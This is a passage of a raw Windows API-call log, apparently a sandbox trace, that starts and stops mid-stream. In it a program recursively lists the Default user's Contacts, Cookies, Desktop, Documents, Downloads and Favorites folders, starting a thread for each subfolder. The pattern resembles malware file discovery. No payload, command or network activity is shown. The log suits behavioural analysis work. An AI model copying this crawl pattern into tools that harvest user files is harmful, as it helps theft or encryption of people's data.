[0087.979] wcscmp (_String1="Administrator.contact", _String2=".") returned 1 [0087.979] wcscmp (_String1="Administrator.contact", _String2="..") returned 1 [0087.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7c20c0 [0087.979] wcscpy (in: _Dest=0x1b7c20c0, _Source="C:\\Users\\Default\\Contacts" | out: _Dest="C:\\Users\\Default\\Contacts") returned="C:\\Users\\Default\\Contacts" [0087.979] wcscat (in: _Dest=0x1b7c20c0, _Source="\\" | out: _Dest="C:\\Users\\Default\\Contacts\\") returned="C:\\Users\\Default\\Contacts\\" [0087.979] wcscat (in: _Dest=0x1b7c20c0, _Source="Administrator.contact" | out: _Dest="C:\\Users\\Default\\Contacts\\Administrator.contact") returned="C:\\Users\\Default\\Contacts\\Administrator.contact" [0097.423] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7c20c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9dc [0097.423] FindNextFileW (in: hFindFile=0x1cd9ccd0, lpFindFileData=0x1ce201b0 | out: lpFindFileData=0x1ce201b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0097.423] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0097.423] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0097.423] FindNextFileW (in: hFindFile=0x1cd9ccd0, lpFindFileData=0x1ce201b0 | out: lpFindFileData=0x1ce201b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0097.424] FindClose (in: hFindFile=0x1cd9ccd0 | out: hFindFile=0x1cd9ccd0) returned 1 [0097.424] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce201b0) returned 1 [0097.424] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f830) returned 1 [0097.424] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7ec0) returned 1 Thread: id = 289 os_tid = 0xdb4 [0087.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cd9f8b0 [0087.980] wcscpy (in: _Dest=0x1cd9f8b0, _Source="C:\\Users\\Default\\Cookies" | out: _Dest="C:\\Users\\Default\\Cookies") returned="C:\\Users\\Default\\Cookies" [0087.980] wcscat (in: _Dest=0x1cd9f8b0, _Source="\\" | out: _Dest="C:\\Users\\Default\\Cookies\\") returned="C:\\Users\\Default\\Cookies\\" [0087.980] wcscat (in: _Dest=0x1cd9f8b0, _Source="*" | out: _Dest="C:\\Users\\Default\\Cookies\\*") returned="C:\\Users\\Default\\Cookies\\*" [0087.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce20420 [0087.981] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Cookies\\*", lpFindFileData=0x1ce20420 | out: lpFindFileData=0x1ce20420*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0087.981] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce20420) returned 1 [0087.981] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f8b0) returned 1 [0087.981] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f40) returned 1 Thread: id = 290 os_tid = 0xdb8 [0087.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1b7d7f40 [0087.983] wcscpy (in: _Dest=0x1b7d7f40, _Source="C:\\Users\\Default\\Desktop" | out: _Dest="C:\\Users\\Default\\Desktop") returned="C:\\Users\\Default\\Desktop" [0087.983] wcscat (in: _Dest=0x1b7d7f40, _Source="\\" | out: _Dest="C:\\Users\\Default\\Desktop\\") returned="C:\\Users\\Default\\Desktop\\" [0087.983] wcscat (in: _Dest=0x1b7d7f40, _Source="*" | out: _Dest="C:\\Users\\Default\\Desktop\\*") returned="C:\\Users\\Default\\Desktop\\*" [0087.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce20420 [0087.983] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Desktop\\*", lpFindFileData=0x1ce20420 | out: lpFindFileData=0x1ce20420*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9cd30 [0087.984] wcscmp (_String1=".", _String2=".") returned 0 [0087.984] FindNextFileW (in: hFindFile=0x1cd9cd30, lpFindFileData=0x1ce20420 | out: lpFindFileData=0x1ce20420*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.984] wcscmp (_String1="..", _String2=".") returned 1 [0087.984] wcscmp (_String1="..", _String2="..") returned 0 [0087.984] FindNextFileW (in: hFindFile=0x1cd9cd30, lpFindFileData=0x1ce20420 | out: lpFindFileData=0x1ce20420*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0087.984] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0087.984] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0087.984] FindNextFileW (in: hFindFile=0x1cd9cd30, lpFindFileData=0x1ce20420 | out: lpFindFileData=0x1ce20420*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0087.984] FindClose (in: hFindFile=0x1cd9cd30 | out: hFindFile=0x1cd9cd30) returned 1 [0087.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce20420) returned 1 [0087.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f40) returned 1 [0087.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8140) returned 1 Thread: id = 291 os_tid = 0xdbc [0087.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1b82c530 [0087.987] wcscpy (in: _Dest=0x1b82c530, _Source="C:\\Users\\Default\\Documents" | out: _Dest="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0087.987] wcscat (in: _Dest=0x1b82c530, _Source="\\" | out: _Dest="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0087.987] wcscat (in: _Dest=0x1b82c530, _Source="*" | out: _Dest="C:\\Users\\Default\\Documents\\*") returned="C:\\Users\\Default\\Documents\\*" [0087.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce20420 [0087.987] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\*", lpFindFileData=0x1ce20420 | out: lpFindFileData=0x1ce20420*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9cd30 [0087.988] wcscmp (_String1=".", _String2=".") returned 0 [0087.988] FindNextFileW (in: hFindFile=0x1cd9cd30, lpFindFileData=0x1ce20420 | out: lpFindFileData=0x1ce20420*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.988] wcscmp (_String1="..", _String2=".") returned 1 [0087.988] wcscmp (_String1="..", _String2="..") returned 0 [0087.988] FindNextFileW (in: hFindFile=0x1cd9cd30, lpFindFileData=0x1ce20420 | out: lpFindFileData=0x1ce20420*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0087.988] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0087.988] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0087.988] FindNextFileW (in: hFindFile=0x1cd9cd30, lpFindFileData=0x1ce20420 | out: lpFindFileData=0x1ce20420*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0087.988] wcscmp (_String1="My Music", _String2=".") returned 1 [0087.988] wcscmp (_String1="My Music", _String2="..") returned 1 [0087.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x48) returned 0x1b82c490 [0087.989] wcscpy (in: _Dest=0x1b82c490, _Source="C:\\Users\\Default\\Documents" | out: _Dest="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0087.989] wcscat (in: _Dest=0x1b82c490, _Source="\\" | out: _Dest="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0087.989] wcscat (in: _Dest=0x1b82c490, _Source="My Music" | out: _Dest="C:\\Users\\Default\\Documents\\My Music") returned="C:\\Users\\Default\\Documents\\My Music" [0097.425] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82c490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa04 [0097.426] FindNextFileW (in: hFindFile=0x1cd9cd30, lpFindFileData=0x1ce20420 | out: lpFindFileData=0x1ce20420*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0097.426] wcscmp (_String1="My Pictures", _String2=".") returned 1 [0097.426] wcscmp (_String1="My Pictures", _String2="..") returned 1 [0097.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4e) returned 0x1cd9ccd0 [0097.426] wcscpy (in: _Dest=0x1cd9ccd0, _Source="C:\\Users\\Default\\Documents" | out: _Dest="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0097.426] wcscat (in: _Dest=0x1cd9ccd0, _Source="\\" | out: _Dest="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0097.426] wcscat (in: _Dest=0x1cd9ccd0, _Source="My Pictures" | out: _Dest="C:\\Users\\Default\\Documents\\My Pictures") returned="C:\\Users\\Default\\Documents\\My Pictures" [0097.426] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd9ccd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x548 [0097.427] FindNextFileW (in: hFindFile=0x1cd9cd30, lpFindFileData=0x1ce20420 | out: lpFindFileData=0x1ce20420*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0097.427] wcscmp (_String1="My Videos", _String2=".") returned 1 [0097.427] wcscmp (_String1="My Videos", _String2="..") returned 1 [0097.427] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9ca30 [0097.427] wcscpy (in: _Dest=0x1cd9ca30, _Source="C:\\Users\\Default\\Documents" | out: _Dest="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0097.427] wcscat (in: _Dest=0x1cd9ca30, _Source="\\" | out: _Dest="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0097.427] wcscat (in: _Dest=0x1cd9ca30, _Source="My Videos" | out: _Dest="C:\\Users\\Default\\Documents\\My Videos") returned="C:\\Users\\Default\\Documents\\My Videos" [0097.427] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd9ca30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x540 [0097.428] FindNextFileW (in: hFindFile=0x1cd9cd30, lpFindFileData=0x1ce20420 | out: lpFindFileData=0x1ce20420*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0097.428] FindClose (in: hFindFile=0x1cd9cd30 | out: hFindFile=0x1cd9cd30) returned 1 [0097.430] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce20420) returned 1 [0097.430] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c530) returned 1 [0097.430] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8180) returned 1 Thread: id = 292 os_tid = 0xdc0 [0087.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1cd97300 [0087.990] wcscpy (in: _Dest=0x1cd97300, _Source="C:\\Users\\Default\\Downloads" | out: _Dest="C:\\Users\\Default\\Downloads") returned="C:\\Users\\Default\\Downloads" [0087.990] wcscat (in: _Dest=0x1cd97300, _Source="\\" | out: _Dest="C:\\Users\\Default\\Downloads\\") returned="C:\\Users\\Default\\Downloads\\" [0087.990] wcscat (in: _Dest=0x1cd97300, _Source="*" | out: _Dest="C:\\Users\\Default\\Downloads\\*") returned="C:\\Users\\Default\\Downloads\\*" [0087.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce20690 [0087.990] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Downloads\\*", lpFindFileData=0x1ce20690 | out: lpFindFileData=0x1ce20690*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9cd90 [0087.990] wcscmp (_String1=".", _String2=".") returned 0 [0087.990] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce20690 | out: lpFindFileData=0x1ce20690*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.990] wcscmp (_String1="..", _String2=".") returned 1 [0087.990] wcscmp (_String1="..", _String2="..") returned 0 [0087.990] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce20690 | out: lpFindFileData=0x1ce20690*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0087.990] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0087.990] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0087.990] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce20690 | out: lpFindFileData=0x1ce20690*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0087.991] FindClose (in: hFindFile=0x1cd9cd90 | out: hFindFile=0x1cd9cd90) returned 1 [0087.991] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce20690) returned 1 [0087.991] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0087.991] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d81c0) returned 1 Thread: id = 293 os_tid = 0xdc4 [0087.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1cd97300 [0087.993] wcscpy (in: _Dest=0x1cd97300, _Source="C:\\Users\\Default\\Favorites" | out: _Dest="C:\\Users\\Default\\Favorites") returned="C:\\Users\\Default\\Favorites" [0087.993] wcscat (in: _Dest=0x1cd97300, _Source="\\" | out: _Dest="C:\\Users\\Default\\Favorites\\") returned="C:\\Users\\Default\\Favorites\\" [0087.993] wcscat (in: _Dest=0x1cd97300, _Source="*" | out: _Dest="C:\\Users\\Default\\Favorites\\*") returned="C:\\Users\\Default\\Favorites\\*" [0087.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce20690 [0087.993] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\*", lpFindFileData=0x1ce20690 | out: lpFindFileData=0x1ce20690*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9cd90 [0087.996] wcscmp (_String1=".", _String2=".") returned 0 [0087.996] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce20690 | out: lpFindFileData=0x1ce20690*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.996] wcscmp (_String1="..", _String2=".") returned 1 [0087.996] wcscmp (_String1="..", _String2="..") returned 0 [0087.996] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce20690 | out: lpFindFileData=0x1ce20690*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0087.996] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0087.996] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0087.996] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce20690 | out: lpFindFileData=0x1ce20690*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfeffd5f0, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0087.996] wcscmp (_String1="Links", _String2=".") returned 1 [0087.996] wcscmp (_String1="Links", _String2="..") returned 1 [0087.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1cd97210 [0087.996] wcscpy (in: _Dest=0x1cd97210, _Source="C:\\Users\\Default\\Favorites" | out: _Dest="C:\\Users\\Default\\Favorites") returned="C:\\Users\\Default\\Favorites" [0087.996] wcscat (in: _Dest=0x1cd97210, _Source="\\" | out: _Dest="C:\\Users\\Default\\Favorites\\") returned="C:\\Users\\Default\\Favorites\\" [0087.996] wcscat (in: _Dest=0x1cd97210, _Source="Links" | out: _Dest="C:\\Users\\Default\\Favorites\\Links") returned="C:\\Users\\Default\\Favorites\\Links" [0090.833] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd97210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa00 [0090.834] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce20690 | out: lpFindFileData=0x1ce20690*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0090.834] wcscmp (_String1="Microsoft Websites", _String2=".") returned 1 [0090.834] wcscmp (_String1="Microsoft Websites", _String2="..") returned 1 [0090.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5c) returned 0x1b86efe0 [0090.834] wcscpy (in: _Dest=0x1b86efe0, _Source="C:\\Users\\Default\\Favorites" | out: _Dest="C:\\Users\\Default\\Favorites") returned="C:\\Users\\Default\\Favorites" [0090.834] wcscat (in: _Dest=0x1b86efe0, _Source="\\" | out: _Dest="C:\\Users\\Default\\Favorites\\") returned="C:\\Users\\Default\\Favorites\\" [0090.834] wcscat (in: _Dest=0x1b86efe0, _Source="Microsoft Websites" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites" [0090.834] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b86efe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb54 [0090.834] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce20690 | out: lpFindFileData=0x1ce20690*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0090.834] wcscmp (_String1="MSN Websites", _String2=".") returned 1 [0090.834] wcscmp (_String1="MSN Websites", _String2="..") returned 1 [0090.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x50) returned 0x1cd9cc70 [0090.835] wcscpy (in: _Dest=0x1cd9cc70, _Source="C:\\Users\\Default\\Favorites" | out: _Dest="C:\\Users\\Default\\Favorites") returned="C:\\Users\\Default\\Favorites" [0090.835] wcscat (in: _Dest=0x1cd9cc70, _Source="\\" | out: _Dest="C:\\Users\\Default\\Favorites\\") returned="C:\\Users\\Default\\Favorites\\" [0090.835] wcscat (in: _Dest=0x1cd9cc70, _Source="MSN Websites" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites") returned="C:\\Users\\Default\\Favorites\\MSN Websites" [0090.835] CreateThread (in: lpThreadAttributes=0x0, 